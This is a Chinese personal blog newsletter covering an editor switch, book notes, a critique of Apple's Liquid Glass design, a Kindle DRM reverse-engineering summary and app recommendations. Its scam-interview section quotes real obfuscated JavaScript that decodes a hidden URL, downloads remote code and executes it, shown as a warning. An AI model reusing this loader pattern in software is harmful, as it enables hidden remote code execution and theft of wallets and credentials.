--- title: 稻草人周刊 Vol.51 subtitle: Liquid Glass 的罪行 tags: - Apple - 设计 - 隐私 - 游戏 categories: 稻草人周刊 date: 2025-10-20 08:36:00 draft: false toc: true aliases: - /posts/weekly/51 --- {{< music cover="https://r2.eltr.ac/uPic/2025/10/The_Tortured_Poets_Department_The_Anthology.png" title="loml" artist="Taylor Swift" apple="https://music.apple.com/cn/album/loml/1742057774?i=1742058103" spotify="https://open.spotify.com/track/3YkNIrAvbKNrrwwEd7NVLl" >}} 大概是下雨的关系,这几天总是在路上听这首歌。 --- ## ↯ · 当下 - 把 IntelliJ IDEA 卸载了,一方面是它真的太重了,另一方面是最近写代码的时候遇到好几个莫名其妙的问题,和代码无关,IDEA 重装之后也无法正常打开项目,完全不知道怎么排查。如果不用图形界面的话,就完全不会有这些问题,所以我就全面转向 Zed 编辑器和命令行工具了。自己需要写 Java 代码的时间其实相对较少,用得更多的语言是 JavaScript、Lua 还有偶尔的 Go 语言,这些语言我都能够用一个简单轻量的编辑器,加上本身就足够好用、清晰的命令行工具搭建开发环境。 明明 Spring Boot 的 `mvn spring-boot:run` 和 JavaScript 的 `npm run dev` 一样好用,命令行排查问题也更方便、加载速度也更快,真不知道为什么非要用一个又贵又难用的图形界面工具。即使是开发大型软件,这种配置也更接近真实的运行环境,而且各种操作都是透明的,没有伪装成按钮和表格的「魔法」。 如果我要更进一步的话,我大概就会去用 Emacs 或者 Vim 编辑器了。 - 这周读完了三本书,分别是萨特的《[存在主义是一种人道主义](/library/2025/存在主义是一种人道主义/)》《[零废弃](/library/2025/零废弃/)》和《[控糖革命](/library/2025/控糖革命/)》,可以在博客阅读我写的三篇书评。读完之后我也在逐渐把家里的塑料制品逐步替换为金属、玻璃、硅胶或陶瓷材质的;开始控糖,在餐前吃富含纤维的开胃菜、喝醋汁、饭后适度运动。 ## ⋈︎ · 连接 ### Liquid Glass 的罪行 > [!note] 📜 > [Liquid Glass Is Cracked, and Usability Suffers in iOS 26 - NN/G](https://www.nngroup.com/articles/liquid-glass/) 本文批评了 Apple 的新设计语言「Liquid Glass」,认为新设计让内容变得更复杂,从而降低了实用性,而且一些新的设计方案摒弃了已有的操作习惯和传统。 最值得诟病的是液态玻璃的「透明度」,尽管经过几轮测试之后,可读性有了提升,但层级的缺失使得两层甚至三层内容经常堆叠在一起。这不仅是可读性很差,而且非常**丑**。许多元素经常叠在一起抢占空间,还抢占用户的注意力。 新系统里的动效非常丰富,但很多都没有必要。作者说,苹果的新界面像是无时不刻地在喊「看看我!」,然而界面实际上应该让步给内容。有很多动画不仅令人困惑且没有意义,还让整个界面看起来很复杂、很「慢」。 由于新系统里多了很多悬浮按钮,而这些按钮都有玻璃背景,玻璃两边离屏幕边缘有很大的距离,再加上无处不在的大圆角,防止按钮的空间其实被压缩了,这也就导致可供用户点击的空间变小了,也让按钮挤在一起。最气人的是 Safari,当「前进」「后退」和「菜单」按钮都显示出来时,中间的地址栏就会被挤成一小条,甚至分辨自己在哪个网站上都变得很困难。 作者还批评了 iOS 26 的「可预测性」(predictability),类比了 Microsoft Office 曾经「把用户常用的按钮放在前面」这种看似合理但实际上非常难用的策略,动态、变化的 UI 会让用户没有办法在原来的地方找到自己想要的功能,反而需要更多的时间导航。在以「健康」为例的原生应用里,用户一点击搜索框,左边的导航栏就会收缩起来变成一个——我自己的体会是,这的确会让我在切换页面时看到困惑;尽管能够理解这种设计,也不至于因此而迷路,但这就是没有不会变化的界面来得直观和快捷。 在以前,iOS 上各种 App 的搜索框都被放置在页面最上方,用户下拉页面就能看到折叠起来的收缩框。现在,Apple 把搜索框固定到了界面下方,可以随时点击。然而,习惯了下拉进行搜索的老用户明显会感到不习惯,需要重新学习。Apple 还移除了面包屑导航,现在点击返回按钮时用户需要回忆自己会回到什么地方。 总而言之,作者认为苹果的新设计「美观性大于实用性」(prioritizing spectacle over usability),很多设计都只可远观,不可亵玩。 #### 我的观点 一开始我其实很喜欢 Liquid Glass,因为 Apple 展示的宣传界面的确令人眼前一亮。不过,自己更新新系统使用了一两个月之后,我就逐渐对 Liquid Glass 失望了。至少,我觉得这种设计语言完全不应该大量地出现在 macOS 上——电脑这种有大量精细操作的设备为什么会需要这么多圆角? 此外,我原本以为全新的 Spotlight(聚焦搜索)可以代替 Raycast,毕竟我只是这个软件的轻度用户。不过频繁打开 Spotlight 之后发现它的淡入淡出动画真的很烦人,太慢了,经常让我感觉没有打开,于是按了两遍快捷键,结果第二次操作的时候就关掉了 Spotlight…… #设计 #Apple ### 我差点被一个「工作面试」偷走数字身份 > [!note] 📜 > [How I Almost Got Hacked By A 'Job Interview'](https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview) 作者是一个很注重隐私和数据安全的程序员,最近他在领英上收到了一个工作面试邀请,查看对方身份之后发现是一个正规的公司,于是就接受了。面试之前,面试官给它发送了一个 GitBucket 仓库,要求在面试之前的三十分钟内完成这个测验。作者起初觉得这很正常,很多面试官都会这样检验面试者的实操能力;由于时间很紧,作者没怎么调试就直接做完了题目,在最终要执行 `npm run start` 启动项目的时候,他突然觉得哪里不对劲。 于是他向 Cursor 的 AI Agent 问了一个问题: > 在我运行这个应用之前,你能不能帮我检查一下代码库里有没有什么可疑的代码? Agent 帮他翻出来了这段代码: ```js //Get Cookie (async () => { const byteArray = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, 98, 50, 48, 51, 49, 102, 98, 57 ]; const uint8Array = new Uint8Array(byteArray); const decoder = new TextDecoder('utf-8'); axios.get(decoder.decode(uint8Array)) .then(response => { new Function("require", response.data.model)(require); }) .catch(error => { }); })(); ``` 将 `byteArray` 解码之后会得到一个链接,这段代码的作用就是从这个链接中下载并执行代码,而这段来自网络的代码是纯粹的恶意软件,会偷走加密钱包、文件、密码和你的整个数字身份的那种。由于这段代码被写在服务端的控制器里,在运行时拥有系统权限,真的非常邪恶。并且,这个链接在 24 小时之后就失效了,对方早就做好了销毁证据的准备。 作者后来在评论区表示,对方在发现自己还没有执行代码之后,将工作面试推迟了两次,然后作者把这篇文章的草稿发给了他们,之后就被拉黑了。后来这家公司的招聘人员和创始人还来这篇文章下回复,表示他们正在调查,并且这种恶意事件和他们没有关系,他们只是忘记修改领英的默认设置,导致任何人都可以和他们的企业关联起来。 #### 我的观点 AI 编程工具的妙用:检查恶意代码。在运行来源不明的代码之前,花一两分钟的时间请大模型帮忙扫描一遍代码库,是真的能救命的。读完这篇文章也让我开始警觉,我从未想过用 `npm run start` 执行一个简单的前端项目也有被黑的可能性。 #隐私 ### 我「逆向工程」了 Amazon 的 Kindle 图书服务 > [!note] 📜 > [How I Reversed Amazon's Kindle Web Obfuscation Because Their App Sucked](https://blog.pixelmelt.dev/kindle-web-drm/) 因为 Amazon 做的 App 实在是太难用,作者想把他在 Amazon 购买的电子书下载到设备上,用一个好用的阅读器软件来阅读,结果发现他只能在 Amazon 的软件里访问自己花钱购买的电子书。作者本可以直接退款,但他认为自己付过钱,就理应能够把电子书导入 Calibre,和自己其他的书一起阅读。 所以他逆向工程了 Amazon 的 Web 客户端,结果发现,Amazon 不会明文传输电子书文本,而是用到了替换加密,每个字对应的是字体中的一个字形(Glyph);而且 API 限制一次只能请求五页,每次请求,这个字形的映射都会改变,也就是说作者无法创建一个适用于整本书的字形映射表。 ```json { "type": "TextRun", "glyphs": [24, 25, 74, 123, 91, 18, 19, 30, 4, ...], "style": "paragraph" } ``` 一个编码对应的是字形的 SVG 定义,Amazon 在这里还用到了 SVG 的移动操作(MoveTo Opertaion),由于浏览器原生支持 Path2D,所以能够正常渲染,而 Python 的 SVG 库则不行;由于这里的移动操作是随机的,所以也不能通过字符串匹配的方式构造字形映射,也就是说,就算是相同的字符,其 SVG 定义也会有微小的差异。 最后作者换了一个 SVG 库,把每一个 SVG 渲染成图片,然后用图片生成 Hash,这样就算同一个字形的 SVG 定义有差异,Hash 也是不会变的;通过这个 Hash 作者构造出了一个映射表,生成了 EPUB 格式的电子书。 #### 我的观点 尽管这种操作的法律正规性存疑(作者的确破解了加密方式并传播了方法,但没有传播破解软件,文章里甚至没有一行他写的代码),但不失为一种学习和练习技术的方式。 读完之后我开始思考,如果电子书平台在用户购买书籍之后都不允许下载电子书文件,只允许在限定的 App 里阅读,那真的能算作购买吗?在文中,作者认为这是「租用」,要是企业跨掉了,或者只要他们想,你就没办法访问你「购买」的电子书了。出于这种原因我始终不愿意在这样的「正规渠道」购买电子书,我选择更多地阅读纸质书,或者下载免费的电子书资源。如果购买意味着真正的「拥有」,那我才会愿意像购买纸质书一样购买电子书。也有可能,由于数字产品的特殊性,这点没办法做到吧。 ## ⁂ · 星群 ### AirBattery 一个开源的 macOS 应用,提供更多的电量显示,支持本机、iPhone、iPad、AirPods 以及各种蓝牙配件,电量可以用小组件、Dock 栏图标和菜单栏图标等形态展示,还能设置低电量和高电量提醒。软件支持零配置开箱即用,但第一次使用还是需要操作一下:需要用数据线连接 iPhone 并信任设备,然后在设置里打开允许通过蓝牙发现设备,才能正常显示 iPhone 电量,成功配对 iPhone 之后能够自动配对 Apple Watch;通过 Nearcast 功能,可以通过局域网广播的方式同步其他 Mac 的电量…… 不是苹果但带有蓝牙电显功能的蓝牙设备似乎不能正常显示电量,至少我的设备上没有。 我其实很少会检查设备的电量,经常在要出门的时候才发现 iPad 或者 MacBook 没电了(最坏的情况是 AirPods 也没电了,不过有无线充电设备之后这种情况就很少发生了)。通过小组件聚合显示所有设备的电量的确会方便不少,能提醒我及时给设备们充电。 ![](https://r2.eltr.ac/picgo2025/202510132133053.png) 访问:[lihaoyun6/AirBattery](https://github.com/lihaoyun6/AirBattery) ### 1Capture 一款基础功能免费,高级功能付费的截图软件。高级功能包括移除水印、滚动截图、固定图片到桌面、文字识别和类似 Cleanshot X 的截图美化。包括基础功能在内的各种使用体验都做得非常优雅,1Capture 的箭头标注工具大概是我见过最好看的了,还有自带的贴纸,贴上自带阴影,而且每个贴纸都长得很好看。目前 1Capture 终身买断价格为 ¥98,我决定先试用 7 天,搞不好真的又要花钱购买了。 其实 1Capture 从功能上来讲,完全可以被 PixPin 的免费功能替代,奈何后者是 Qt 开发的,放到 macOS 上还是太丑了。如果不在意美观程度,完全可以用 PixPin 替代。ß ![](https://r2.eltr.ac/picgo2025/close_help.avif) 访问:[1Capture](https://docs.1capture.com/cn/start) ### Is This Seat Taken? 大概是一个月以前买的游戏,最近才治好「电子阳痿」打开来玩。玩法是根据不同小人的需求,将所有人安置到适合他们的位置上,比如有的人不喜欢旁边有人、不喜欢和小孩待在一起,有的人没洗澡或者喷了太多香水,而相应的会有人希望离这些气味远一点,还有的小孩子想和别的小孩坐在一起,有的人想和别人说话,而有的人因为想要读书或睡觉,想要离那些说话和外放音乐的人远一些。 游戏的难度适中,玩到第三大关还没有遇到卡关的情况,但也有不少有挑战的关卡。游戏中会有反复出现的人物,玩家可以见证他们前往不同城市、遇到不同的人发生的故事,还算是增加了一些趣味性。游戏的画风也很可爱,我尤其喜欢这种柔和的配色,总之,推荐一玩。 ![](https://r2.eltr.ac/picgo2025/20251019-is-this-seat-taken-game.jpeg) 访问:[Is This Seat Taken? on Steam](https://store.steampowered.com/app/3035120/Is_this_Seat_Taken/) ### meow.camera 人类,你可以观看猫咪进食。 ![](https://r2.eltr.ac/picgo2025/20251019-mewocamera.jpeg) 访问:[meow.camera](https://meow.camera/)